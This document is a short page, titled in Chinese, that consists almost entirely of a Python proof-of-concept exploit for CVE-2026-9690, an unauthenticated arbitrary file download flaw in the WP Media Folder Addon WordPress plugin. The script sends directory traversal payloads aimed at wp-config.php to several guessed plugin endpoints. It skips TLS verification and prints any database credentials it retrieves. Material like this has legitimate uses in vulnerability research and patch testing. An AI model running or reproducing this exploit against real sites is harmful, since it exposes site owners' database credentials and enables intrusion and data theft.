CVE-2026-9690 WP Media Folder Addon插件未认证任意文件下载漏洞

# CVE-2026-9690 - WP Media Folder Addon Unauthenticated Arbitrary File Download PoC # Affected: WP Media Folder Addon <= 4.0.1 # Type: Arbitrary File Download (Unauthenticated) import requests import sys # Target configuration TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" FILE_TO_DOWNLOAD = sys.argv[2] if len(sys.argv) > 2 else "../../../wp-config.php" # Common vulnerable endpoints in WP Media Folder Addon plugin endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/wpmfa/v1/download", "/wp-content/plugins/wp-media-folder-addon/includes/download.php" ] def exploit_arbitrary_file_download(target_url, file_path, endpoint): """ Exploit arbitrary file download vulnerability by sending crafted request with directory traversal payload to the vulnerable endpoint. """ params = { "action": "wpmfa_download_file", "file": file_path, "path": file_path } try: response = requests.get( f"{target_url}{endpoint}", params=params, timeout=10, verify=False ) if response.status_code == 200 and len(response.content) > 0: # Check if response contains PHP config markers (indicating successful wp-config.php download) if b"DB_NAME" in response.content or b"<?php" in response.content: print(f"[+] Vulnerability confirmed! File downloaded successfully via {endpoint}") print(f"[+] Content preview:\n{response.text[:500]}") return True return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Attempting to download: {FILE_TO_DOWNLOAD}") for endpoint in endpoints: print(f"\n[*] Trying endpoint: {endpoint}") if exploit_arbitrary_file_download(TARGET_URL, FILE_TO_DOWNLOAD, endpoint): print("[+] Exploit successful!") sys.exit(0) print("[-] Exploit failed - target may not be vulnerable")